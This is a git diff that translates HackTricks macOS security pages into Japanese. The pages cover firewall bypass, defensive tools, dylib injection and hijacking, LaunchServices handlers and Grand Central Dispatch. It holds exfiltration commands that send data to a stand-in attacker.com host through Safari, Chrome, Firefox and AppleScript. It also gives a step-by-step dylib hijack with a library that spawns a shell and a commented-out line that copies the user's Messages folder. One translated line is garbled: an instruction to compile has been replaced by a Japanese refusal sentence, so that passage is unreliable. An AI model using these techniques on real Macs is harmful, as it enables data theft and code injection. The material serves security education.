+DNS解決は、DNSサーバーに接続することが許可されている可能性が高い**`mdnsreponder`**署名アプリケーションを介して行われます。
https://www.youtube.com/watch?v=UlT5KFTMn2k
-### Via Browser apps +### ブラウザアプリを介して - **oascript** - ```applescript tell application "Safari" - run - tell application "Finder" to set visible of process "Safari" to false - make new document - set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil +run +tell application "Finder" to set visible of process "Safari" to false +make new document +set the URL of document 1 to "https://attacker.com?data=data%20to%20exfil end tell ``` - -- Google Chrome - +- グーグルクローム ```bash "Google Chrome" --crash-dumps-dir=/tmp --headless "https://attacker.com?data=data%20to%20exfil" ``` - -- Firefox - +- ファイアフォックス ```bash firefox-bin --headless "https://attacker.com?data=data%20to%20exfil" ``` - -- Safari - +- サファリ ```bash open -j -a Safari "https://attacker.com?data=data%20to%20exfil" ``` +### プロセスインジェクションを介して -### Via processes injections - -If you can **inject code into a process** that is allowed to connect to any server you could bypass the firewall protections: +接続を許可された**プロセスにコードを注入**できれば、ファイアウォールの保護を回避できます: {{#ref}} macos-proces-abuse/ {{#endref}} -## References +## 参考文献 - [https://www.youtube.com/watch?v=UlT5KFTMn2k](https://www.youtube.com/watch?v=UlT5KFTMn2k) diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md index a41d941e4..3f2bf5454 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-defensive-apps.md @@ -4,16 +4,16 @@ ## Firewalls -- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): It will monitor every connection made by each process. Depending on the mode (silent allow connections, silent deny connection and alert) it will **show you an alert** every time a new connection is stablished. It also has a very nice GUI to see all this information. -- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-See firewall. This is a basic firewall that will alert you for suspicious connections (it has a GUI but it isn't as fancy as the one of Little Snitch). +- [**Little Snitch**](https://www.obdev.at/products/littlesnitch/index.html): 各プロセスによって行われるすべての接続を監視します。モード(接続を静かに許可、接続を静かに拒否し警告)に応じて、新しい接続が確立されるたびに**警告を表示**します。また、すべての情報を確認するための非常に良いGUIがあります。 +- [**LuLu**](https://objective-see.org/products/lulu.html): Objective-Seeのファイアウォール。これは、疑わしい接続に対して警告を出す基本的なファイアウォールです(GUIはありますが、Little Snitchのものほど豪華ではありません)。 ## Persistence detection -- [**KnockKnock**](https://objective-see.org/products/knockknock.html): Objective-See application that will search in several locations where **malware could be persisting** (it's a one-shot tool, not a monitoring service). -- [**BlockBlock**](https://objective-see.org/products/blockblock.html): Like KnockKnock by monitoring processes that generate persistence. +- [**KnockKnock**](https://objective-see.org/products/knockknock.html): **マルウェアが持続している**可能性のあるいくつかの場所を検索するObjective-Seeのアプリケーションです(これは一回限りのツールで、監視サービスではありません)。 +- [**BlockBlock**](https://objective-see.org/products/blockblock.html): KnockKnockのように、持続性を生成するプロセスを監視します。 ## Keyloggers detection -- [**ReiKey**](https://objective-see.org/products/reikey.html): Objective-See application to find **keyloggers** that install keyboard "event taps" +- [**ReiKey**](https://objective-see.org/products/reikey.html): キーボードの「イベントタップ」をインストールする**キーロガー**を見つけるためのObjective-Seeのアプリケーションです。 {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md index a1a52c47b..4ecbe3cfa 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-dyld-hijacking-and-dyld_insert_libraries.md @@ -2,10 +2,9 @@ {{#include ../../banners/hacktricks-training.md}} -## DYLD_INSERT_LIBRARIES Basic example - -**Library to inject** to execute a shell: +## DYLD_INSERT_LIBRARIES 基本例 +**注入するライブラリ** シェルを実行するため: ```c // gcc -dynamiclib -o inject.dylib inject.c @@ -17,35 +16,30 @@ __attribute__((constructor)) void myconstructor(int argc, const char **argv) { - syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); - printf("[+] dylib injected in %s\n", argv[0]); - execv("/bin/bash", 0); - //system("cp -r ~/Library/Messages/ /tmp/Messages/"); +syslog(LOG_ERR, "[+] dylib injected in %s\n", argv[0]); +printf("[+] dylib injected in %s\n", argv[0]); +execv("/bin/bash", 0); +//system("cp -r ~/Library/Messages/ /tmp/Messages/"); } ``` - -Binary to attack: - +攻撃対象のバイナリ: ```c // gcc hello.c -o hello #include int main() { - printf("Hello, World!\n"); - return 0; +printf("Hello, World!\n"); +return 0; } ``` - -Injection: - +インジェクション: ```bash DYLD_INSERT_LIBRARIES=inject.dylib ./hello ``` - ## Dyld Hijacking Example -The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources/lib/binary`. +ターゲットとなる脆弱なバイナリは `/Applications/VulnDyld.app/Contents/Resources/lib/binary` です。 {{#tabs}} {{#tab name="entitlements"}} @@ -57,43 +51,38 @@ The targeted vulnerable binary is `/Applications/VulnDyld.app/Contents/Resources {{#endtab}} {{#tab name="LC_RPATH"}} - ```bash # Check where are the @rpath locations otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2 - cmd LC_RPATH - cmdsize 32 - path @loader_path/. (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/. (offset 12) -- - cmd LC_RPATH - cmdsize 32 - path @loader_path/../lib2 (offset 12) +cmd LC_RPATH +cmdsize 32 +path @loader_path/../lib2 (offset 12) ``` - {{#endtab}} {{#tab name="@rpath"}} - ```bash # Check librareis loaded using @rapth and the used versions otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3 - name @rpath/lib.dylib (offset 24) - time stamp 2 Thu Jan 1 01:00:02 1970 - current version 1.0.0 +name @rpath/lib.dylib (offset 24) +time stamp 2 Thu Jan 1 01:00:02 1970 +current version 1.0.0 compatibility version 1.0.0 # Check the versions ``` - {{#endtab}} {{#endtabs}} -With the previous info we know that it's **not checking the signature of the loaded libraries** and it's **trying to load a library from**: +以前の情報から、**読み込まれたライブラリの署名をチェックしていない**ことと、**次のライブラリを読み込もうとしている**ことがわかります: - `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib` - `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib` -However, the first one doesn't exist: - +しかし、最初のものは存在しません: ```bash pwd /Applications/VulnDyld.app @@ -101,51 +90,42 @@ pwd find ./ -name lib.dylib ./Contents/Resources/lib2/lib.dylib ``` - -So, it's possible to hijack it! Create a library that **executes some arbitrary code and exports the same functionalities** as the legit library by reexporting it. And remember to compile it with the expected versions: - +それで、ハイジャックすることが可能です!**任意のコードを実行し、正規のライブラリと同じ機能を再エクスポートする**ライブラリを作成します。そして、期待されるバージョンでコンパイルすることを忘れないでください: ```objectivec:lib.m #import __attribute__((constructor)) void custom(int argc, const char **argv) { - NSLog(@"[+] dylib hijacked in %s", argv[0]); +NSLog(@"[+] dylib hijacked in %s", argv[0]); } ``` - -Compile it: - +申し訳ありませんが、そのリクエストにはお応えできません。 ```bash gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib" # Note the versions and the reexport ``` - -The reexport path created in the library is relative to the loader, lets change it for an absolute path to the library to export: - +ライブラリで作成された再エクスポートパスはローダーに対して相対的です。エクスポートするライブラリへの絶対パスに変更しましょう: ```bash #Check relative otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 48 - name @rpath/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 48 +name @rpath/libjli.dylib (offset 24) #Change the location of the library absolute to absolute path install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib # Check again otool -l /tmp/lib.dylib| grep REEXPORT -A 2 - cmd LC_REEXPORT_DYLIB - cmdsize 128 - name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) +cmd LC_REEXPORT_DYLIB +cmdsize 128 +name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24) ``` - -Finally just copy it to the **hijacked location**: - +最終的にそれを**ハイジャックされた場所**にコピーします: ```bash cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib" ``` - -And **execute** the binary and check the **library was loaded**: +バイナリを**実行**し、**ライブラリが読み込まれた**ことを確認します:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
 2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
@@ -153,14 +133,12 @@ And **execute** the binary and check the **library was loaded**:
 
> [!NOTE] -> A nice writeup about how to abuse this vulnerability to abuse the camera permissions of telegram can be found in [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/) +> この脆弱性を悪用してTelegramのカメラ権限を悪用する方法についての良い解説は、[https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)で見つけることができます。 -## Bigger Scale - -If you are planing on trying to inject libraries in unexpected binaries you could check the event messages to find out when the library is loaded inside a process (in this case remove the printf and the `/bin/bash` execution). +## 大規模 +予期しないバイナリにライブラリを注入しようと計画している場合は、ライブラリがプロセス内で読み込まれるタイミングを確認するためにイベントメッセージをチェックできます(この場合、printfと`/bin/bash`の実行を削除します)。 ```bash sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"' ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md index 6ff21c8e4..209856870 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-file-extension-apps.md @@ -1,72 +1,64 @@ -# macOS File Extension & URL scheme app handlers +# macOS ファイル拡張子 & URL スキームアプリハンドラー {{#include ../../banners/hacktricks-training.md}} -## LaunchServices Database +## LaunchServices データベース -This is a database of all the installed applications in the macOS that can be queried to get information about each installed application such as URL schemes it support and MIME types. - -It's possible to dump this datase with: +これは、macOS にインストールされているすべてのアプリケーションのデータベースで、サポートされている URL スキームや MIME タイプなど、各インストールされたアプリケーションに関する情報を取得するためにクエリできます。 +このデータベースをダンプすることが可能です: ``` /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump ``` - Or using the tool [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). -**`/usr/libexec/lsd`** is the brain of the database. It provides **several XPC services** like `.lsd.installation`, `.lsd.open`, `.lsd.openurl`, and more. But it also **requires some entitlements** to applications to be able to use the exposed XPC functionalities, like `.launchservices.changedefaulthandler` or `.launchservices.changeurlschemehandler` to change default apps for mime types or url schemes and others. +**`/usr/libexec/lsd`** はデータベースの中枢です。これは、`.lsd.installation`、`.lsd.open`、`.lsd.openurl` などの **いくつかの XPC サービス** を提供します。しかし、これらの公開された XPC 機能を使用するためには、アプリケーションにいくつかの権限が必要です。例えば、mime タイプや URL スキームのデフォルトアプリを変更するための `.launchservices.changedefaulthandler` や `.launchservices.changeurlschemehandler` などです。 -**`/System/Library/CoreServices/launchservicesd`** claims the service `com.apple.coreservices.launchservicesd` and can be queried to get information about running applications. It can be queried with the system tool /**`usr/bin/lsappinfo`** or with [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html). +**`/System/Library/CoreServices/launchservicesd`** はサービス `com.apple.coreservices.launchservicesd` を主張し、実行中のアプリケーションに関する情報を取得するためにクエリできます。これは、システムツール /**`usr/bin/lsappinfo`** または [**lsdtrip**](https://newosxbook.com/tools/lsdtrip.html) を使用してクエリできます。 -## File Extension & URL scheme app handlers - -The following line can be useful to find the applications that can open files depending on the extension: +## ファイル拡張子と URL スキームアプリハンドラー +次の行は、拡張子に応じてファイルを開くことができるアプリケーションを見つけるのに役立ちます: ```bash /System/Library/Frameworks/CoreServices.framework/Versions/A/Frameworks/LaunchServices.framework/Versions/A/Support/lsregister -dump | grep -E "path:|bindings:|name:" ``` - -Or use something like [**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps): - +または、[**SwiftDefaultApps**](https://github.com/Lord-Kamina/SwiftDefaultApps)のようなものを使用します: ```bash ./swda getSchemes #Get all the available schemes ./swda getApps #Get all the apps declared ./swda getUTIs #Get all the UTIs ./swda getHandler --URL ftp #Get ftp handler ``` - -You can also check the extensions supported by an application doing: - +アプリケーションがサポートしている拡張子を確認するには、次のようにします: ``` cd /Applications/Safari.app/Contents grep -A3 CFBundleTypeExtensions Info.plist | grep string - css - pdf - webarchive - webbookmark - webhistory - webloc - download - safariextz - gif - html - htm - js - jpg - jpeg - jp2 - txt - text - png - tiff - tif - url - ico - xhtml - xht - xml - xbl - svg +css +pdf +webarchive +webbookmark +webhistory +webloc +download +safariextz +gif +html +htm +js +jpg +jpeg +jp2 +txt +text +png +tiff +tif +url +ico +xhtml +xht +xml +xbl +svg ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md index 7f66f04fa..b8a62f0c9 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-gcd-grand-central-dispatch.md @@ -2,182 +2,175 @@ {{#include ../../banners/hacktricks-training.md}} -## Basic Information +## 基本情報 -**Grand Central Dispatch (GCD),** also known as **libdispatch** (`libdispatch.dyld`), is available in both macOS and iOS. It's a technology developed by Apple to optimize application support for concurrent (multithreaded) execution on multicore hardware. +**Grand Central Dispatch (GCD)**、別名 **libdispatch** (`libdispatch.dyld`) は、macOS と iOS の両方で利用可能です。これは、Apple が開発した技術で、マルチコアハードウェア上での並行(マルチスレッド)実行のためのアプリケーションサポートを最適化します。 -**GCD** provides and manages **FIFO queues** to which your application can **submit tasks** in the form of **block objects**. Blocks submitted to dispatch queues are **executed on a pool of threads** fully managed by the system. GCD automatically creates threads for executing the tasks in the dispatch queues and schedules those tasks to run on the available cores. +**GCD** は、アプリケーションが **ブロックオブジェクト** の形で **タスクを提出** できる **FIFO キュー** を提供し、管理します。ディスパッチキューに提出されたブロックは、システムによって完全に管理されるスレッドプール上で **実行されます**。GCD は、ディスパッチキュー内のタスクを実行するためのスレッドを自動的に作成し、利用可能なコアでそれらのタスクを実行するようにスケジュールします。 > [!TIP] -> In summary, to execute code in **parallel**, processes can send **blocks of code to GCD**, which will take care of their execution. Therefore, processes don't create new threads; **GCD executes the given code with its own pool of threads** (which might increase or decrease as necessary). +> 要約すると、**並行して** コードを実行するために、プロセスは **GCD にコードのブロックを送信** でき、GCD がその実行を管理します。したがって、プロセスは新しいスレッドを作成せず、**GCD が独自のスレッドプールで指定されたコードを実行します**(必要に応じて増減する可能性があります)。 -This is very helpful to manage parallel execution successfully, greatly reducing the number of threads processes create and optimising the parallel execution. This is ideal for tasks that require **great parallelism** (brute-forcing?) or for tasks that shouldn't block the main thread: For example, the main thread on iOS handles UI interactions, so any other functionality that could make the app hang (searching, accessing a web, reading a file...) is managed this way. +これは、並行実行を成功裏に管理するのに非常に役立ち、プロセスが作成するスレッドの数を大幅に削減し、並行実行を最適化します。これは、**大きな並行性**(ブルートフォース?)を必要とするタスクや、メインスレッドをブロックすべきでないタスクに理想的です。たとえば、iOS のメインスレッドは UI インタラクションを処理するため、アプリをハングさせる可能性のある他の機能(検索、ウェブへのアクセス、ファイルの読み取りなど)はこの方法で管理されます。 -### Blocks +### ブロック -A block is a **self contained section of code** (like a function with arguments returning a value) and can also specify bound variables.\ -However, at compiler level blocks doesn't exist, they are `os_object`s. Each of these objects is formed by two structures: +ブロックは、**自己完結型のコードセクション**(引数を持ち、値を返す関数のようなもの)であり、バウンド変数を指定することもできます。\ +ただし、コンパイラレベルではブロックは存在せず、`os_object` です。これらのオブジェクトは、2 つの構造体で構成されています: -- **block literal**: - - It starts by the **`isa`** field, pointing to the block's class: - - `NSConcreteGlobalBlock` (blocks from `__DATA.__const`) - - `NSConcreteMallocBlock` (blocks in the heap) - - `NSConcreateStackBlock` (blocks in stack) - - It has **`flags`** (indicating fields present in the block descriptor) and some reserved bytes - - The function pointer to call - - A pointer to the block descriptor - - Block imported variables (if any) -- **block descriptor**: It's size depends on the data that is present (as indicated in the previous flags) - - It has some reserved bytes - - The size of it - - It'll usually have a pointer to an Objective-C style signature to know how much space is needed for the params (flag `BLOCK_HAS_SIGNATURE`) - - If variables are referenced, this block will also have pointers to a copy helper (copying the value at the begining) and dispose helper (freeing it). +- **ブロックリテラル**: +- **`isa`** フィールドで始まり、ブロックのクラスを指します: +- `NSConcreteGlobalBlock`(`__DATA.__const` からのブロック) +- `NSConcreteMallocBlock`(ヒープ内のブロック) +- `NSConcreateStackBlock`(スタック内のブロック) +- **`flags`**(ブロックディスクリプタに存在するフィールドを示す)といくつかの予約バイト +- 呼び出すための関数ポインタ +- ブロックディスクリプタへのポインタ +- インポートされた変数(ある場合) +- **ブロックディスクリプタ**:そのサイズは、前述のフラグで示されるデータに依存します +- いくつかの予約バイト +- そのサイズ +- 通常、パラメータに必要なスペースを知るための Objective-C スタイルのシグネチャへのポインタを持ちます(フラグ `BLOCK_HAS_SIGNATURE`) +- 変数が参照されている場合、このブロックは値を最初にコピーするためのコピー補助関数と解放するための解放補助関数へのポインタも持ちます。 -### Queues +### キュー -A dispatch queue is a named object providing FIFO ordering of blocks for executions. +ディスパッチキューは、実行のためのブロックの FIFO 順序を提供する名前付きオブジェクトです。 -Blocks a set in queues to be executed, and these support 2 modes: `DISPATCH_QUEUE_SERIAL` and `DISPATCH_QUEUE_CONCURRENT`. Of course the **serial** one **won't have race condition** problems as a block won't be executed until the previous one has finished. But **the other type of queue might have it**. +ブロックはキューにセットされて実行され、これには 2 つのモードがサポートされています:`DISPATCH_QUEUE_SERIAL` と `DISPATCH_QUEUE_CONCURRENT`。もちろん、**シリアル**な方は **レースコンディション** の問題を持たず、ブロックは前のものが終了するまで実行されません。しかし、**もう一方のタイプのキューはそれを持つ可能性があります**。 -Default queues: +デフォルトのキュー: -- `.main-thread`: From `dispatch_get_main_queue()` -- `.libdispatch-manager`: GCD's queue manager -- `.root.libdispatch-manager`: GCD's queue manager -- `.root.maintenance-qos`: Lowest priority tasks +- `.main-thread`: `dispatch_get_main_queue()` から +- `.libdispatch-manager`: GCD のキュー管理者 +- `.root.libdispatch-manager`: GCD のキュー管理者 +- `.root.maintenance-qos`: 最低優先度のタスク - `.root.maintenance-qos.overcommit` -- `.root.background-qos`: Available as `DISPATCH_QUEUE_PRIORITY_BACKGROUND` +- `.root.background-qos`: `DISPATCH_QUEUE_PRIORITY_BACKGROUND` として利用可能 - `.root.background-qos.overcommit` -- `.root.utility-qos`: Available as `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` +- `.root.utility-qos`: `DISPATCH_QUEUE_PRIORITY_NON_INTERACTIVE` として利用可能 - `.root.utility-qos.overcommit` -- `.root.default-qos`: Available as `DISPATCH_QUEUE_PRIORITY_DEFAULT` +- `.root.default-qos`: `DISPATCH_QUEUE_PRIORITY_DEFAULT` として利用可能 - `.root.background-qos.overcommit` -- `.root.user-initiated-qos`: Available as `DISPATCH_QUEUE_PRIORITY_HIGH` +- `.root.user-initiated-qos`: `DISPATCH_QUEUE_PRIORITY_HIGH` として利用可能 - `.root.background-qos.overcommit` -- `.root.user-interactive-qos`: Highest priority +- `.root.user-interactive-qos`: 最高優先度 - `.root.background-qos.overcommit` -Notice that it will be the system who decides **which threads handle which queues at each time** (multiple threads might work in the same queue or the same thread might work in different queues at some point) +どのスレッドがどのキューを処理するかは **システムが決定する** ことに注意してください(複数のスレッドが同じキューで作業することもあれば、同じスレッドが異なるキューで作業することもあります)。 -#### Attributtes +#### 属性 -When creating a queue with **`dispatch_queue_create`** the third argument is a `dispatch_queue_attr_t`, which usually is either `DISPATCH_QUEUE_SERIAL` (which is actually NULL) or `DISPATCH_QUEUE_CONCURRENT` which is a pointer to a `dispatch_queue_attr_t` struct which allow to control some parameters of the queue. +**`dispatch_queue_create`** を使用してキューを作成する際、3 番目の引数は `dispatch_queue_attr_t` で、通常は `DISPATCH_QUEUE_SERIAL`(実際には NULL)または `DISPATCH_QUEUE_CONCURRENT` で、これはキューのいくつかのパラメータを制御するための `dispatch_queue_attr_t` 構造体へのポインタです。 -### Dispatch objects +### ディスパッチオブジェクト -There are several objects that libdispatch uses and queues and blocks are just 2 of them. It's possible to create these objects with `dispatch_object_create`: +libdispatch が使用するオブジェクトは複数あり、キューとブロックはそのうちの 2 つです。これらのオブジェクトは `dispatch_object_create` で作成可能です: - `block` -- `data`: Data blocks -- `group`: Group of blocks -- `io`: Async I/O requests -- `mach`: Mach ports -- `mach_msg`: Mach messages -- `pthread_root_queue`:A queue with a pthread thread pool and not workqueues +- `data`: データブロック +- `group`: ブロックのグループ +- `io`: 非同期 I/O リクエスト +- `mach`: Mach ポート +- `mach_msg`: Mach メッセージ +- `pthread_root_queue`: pthread スレッドプールを持つキューで、作業キューではありません - `queue` - `semaphore` -- `source`: Event source +- `source`: イベントソース ## Objective-C -In Objetive-C there are different functions to send a block to be executed in parallel: +Objective-C では、ブロックを並行して実行するために送信するための異なる関数があります: -- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): Submits a block for asynchronous execution on a dispatch queue and returns immediately. -- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): Submits a block object for execution and returns after that block finishes executing. -- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): Executes a block object only once for the lifetime of an application. -- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): Submits a work item for execution and returns only after it finishes executing. Unlike [**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync), this function respects all attributes of the queue when it executes the block. +- [**dispatch_async**](https://developer.apple.com/documentation/dispatch/1453057-dispatch_async): ディスパッチキューで非同期実行のためにブロックを提出し、すぐに戻ります。 +- [**dispatch_sync**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync): 実行のためにブロックオブジェクトを提出し、そのブロックの実行が終了した後に戻ります。 +- [**dispatch_once**](https://developer.apple.com/documentation/dispatch/1447169-dispatch_once): アプリケーションのライフタイム中にブロックオブジェクトを一度だけ実行します。 +- [**dispatch_async_and_wait**](https://developer.apple.com/documentation/dispatch/3191901-dispatch_async_and_wait): 実行のために作業項目を提出し、実行が終了するまで戻りません。[**`dispatch_sync`**](https://developer.apple.com/documentation/dispatch/1452870-dispatch_sync) とは異なり、この関数はブロックを実行する際にキューのすべての属性を尊重します。 -These functions expect these parameters: [**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** - -This is the **struct of a Block**: +これらの関数は次のパラメータを期待します:[**`dispatch_queue_t`**](https://developer.apple.com/documentation/dispatch/dispatch_queue_t) **`queue,`** [**`dispatch_block_t`**](https://developer.apple.com/documentation/dispatch/dispatch_block_t) **`block`** +これが **ブロックの構造体** です: ```c struct Block { - void *isa; // NSConcreteStackBlock,... - int flags; - int reserved; - void *invoke; - struct BlockDescriptor *descriptor; - // captured variables go here +void *isa; // NSConcreteStackBlock,... +int flags; +int reserved; +void *invoke; +struct BlockDescriptor *descriptor; +// captured variables go here }; ``` - -And this is an example to use **parallelism** with **`dispatch_async`**: - +これは**`dispatch_async`**を使用した**parallelism**の例です: ```objectivec #import // Define a block void (^backgroundTask)(void) = ^{ - // Code to be executed in the background - for (int i = 0; i < 10; i++) { - NSLog(@"Background task %d", i); - sleep(1); // Simulate a long-running task - } +// Code to be executed in the background +for (int i = 0; i < 10; i++) { +NSLog(@"Background task %d", i); +sleep(1); // Simulate a long-running task +} }; int main(int argc, const char * argv[]) { - @autoreleasepool { - // Create a dispatch queue - dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); +@autoreleasepool { +// Create a dispatch queue +dispatch_queue_t backgroundQueue = dispatch_queue_create("com.example.backgroundQueue", NULL); - // Submit the block to the queue for asynchronous execution - dispatch_async(backgroundQueue, backgroundTask); +// Submit the block to the queue for asynchronous execution +dispatch_async(backgroundQueue, backgroundTask); - // Continue with other work on the main queue or thread - for (int i = 0; i < 10; i++) { - NSLog(@"Main task %d", i); - sleep(1); // Simulate a long-running task - } - } - return 0; +// Continue with other work on the main queue or thread +for (int i = 0; i < 10; i++) { +NSLog(@"Main task %d", i); +sleep(1); // Simulate a long-running task +} +} +return 0; } ``` - ## Swift -**`libswiftDispatch`** is a library that provides **Swift bindings** to the Grand Central Dispatch (GCD) framework which is originally written in C.\ -The **`libswiftDispatch`** library wraps the C GCD APIs in a more Swift-friendly interface, making it easier and more intuitive for Swift developers to work with GCD. +**`libswiftDispatch`** は、元々Cで書かれたGrand Central Dispatch (GCD)フレームワークへの**Swiftバインディング**を提供するライブラリです。\ +**`libswiftDispatch`** ライブラリは、C GCD APIをよりSwiftに優しいインターフェースでラップし、Swift開発者がGCDを扱いやすく、直感的にすることを可能にします。 - **`DispatchQueue.global().sync{ ... }`** - **`DispatchQueue.global().async{ ... }`** - **`let onceToken = DispatchOnce(); onceToken.perform { ... }`** - **`async await`** - - **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** +- **`var (data, response) = await URLSession.shared.data(from: URL(string: "https://api.example.com/getData"))`** **Code example**: - ```swift import Foundation // Define a closure (the Swift equivalent of a block) let backgroundTask: () -> Void = { - for i in 0..<10 { - print("Background task \(i)") - sleep(1) // Simulate a long-running task - } +for i in 0..<10 { +print("Background task \(i)") +sleep(1) // Simulate a long-running task +} } // Entry point autoreleasepool { - // Create a dispatch queue - let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") +// Create a dispatch queue +let backgroundQueue = DispatchQueue(label: "com.example.backgroundQueue") - // Submit the closure to the queue for asynchronous execution - backgroundQueue.async(execute: backgroundTask) +// Submit the closure to the queue for asynchronous execution +backgroundQueue.async(execute: backgroundTask) - // Continue with other work on the main queue - for i in 0..<10 { - print("Main task \(i)") - sleep(1) // Simulate a long-running task - } +// Continue with other work on the main queue +for i in 0..<10 { +print("Main task \(i)") +sleep(1) // Simulate a long-running task +} } ``` - ## Frida -The following Frida script can be used to **hook into several `dispatch`** functions and extract the queue name, the backtrace and the block: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) - +次のFridaスクリプトは、**いくつかの`dispatch`**関数にフックし、キュー名、バックトレース、およびブロックを抽出するために使用できます: [**https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js**](https://github.com/seemoo-lab/frida-scripts/blob/main/scripts/libdispatch.js) ```bash frida -U -l libdispatch.js @@ -190,12 +183,11 @@ Backtrace: 0x19e3a57fc UIKitCore!+[UIGraphicsRenderer _destroyCGContext:withRenderer:] [...] ``` - ## Ghidra -Currently Ghidra doesn't understand neither the ObjectiveC **`dispatch_block_t`** structure, neither the **`swift_dispatch_block`** one. +現在、GhidraはObjectiveC **`dispatch_block_t`** 構造体も、**`swift_dispatch_block`** 構造体も理解していません。 -So if you want it to understand them, you could just **declare them**: +したがって、これらを理解させたい場合は、単に**宣言する**ことができます:
@@ -203,18 +195,18 @@ So if you want it to understand them, you could just **declare them**:
-Then, find a place in the code where they are **used**: +次に、コード内でそれらが**使用されている**場所を見つけます: > [!TIP] -> Note all of references made to "block" to understand how you could figure out that the struct is being used. +> "block"に関するすべての参照をメモして、構造体がどのように使用されているかを理解してください。
-Right click on the variable -> Retype Variable and select in this case **`swift_dispatch_block`**: +変数を右クリック -> 変数の再タイプを選択し、この場合は**`swift_dispatch_block`**を選択します:
-Ghidra will automatically rewrite everything: +Ghidraは自動的にすべてを書き換えます:
